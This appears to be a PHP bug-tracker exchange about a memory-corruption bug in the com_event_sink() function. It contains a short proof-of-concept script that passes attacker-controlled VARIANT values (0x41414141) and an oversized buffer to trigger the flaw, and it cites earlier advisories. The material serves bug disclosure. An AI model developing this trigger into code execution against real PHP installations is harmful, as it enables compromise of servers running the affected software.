It's possible to achieve code execution using this bug. 

$_evil_object = new VARIANT(0x41414141);

I know. I have send an advisory about possible code execution  in com_event_sink()  
function using VARIANT object to bugtraq some time ago (21 May) :

http://cxsecurity.com/issue/WLB-2012050163
http://www.exploit-db.com/exploits/18910/

but this time it is about bug in second argument, not first.

Oh yea my mistake I was referring to arg 1 crash, dint see a Bug Id open for that here though.

<?php


$buffer = str_repeat("A", 1000);


$vVar = new VARIANT(0x41414141); // We controll this
$vVar2 = new VARIANT(0x41414141); // 


com_event_sink($vVar, $vVar2 , $buffer );

?>

Unlikely to be remotely exploitable, but still a bug.
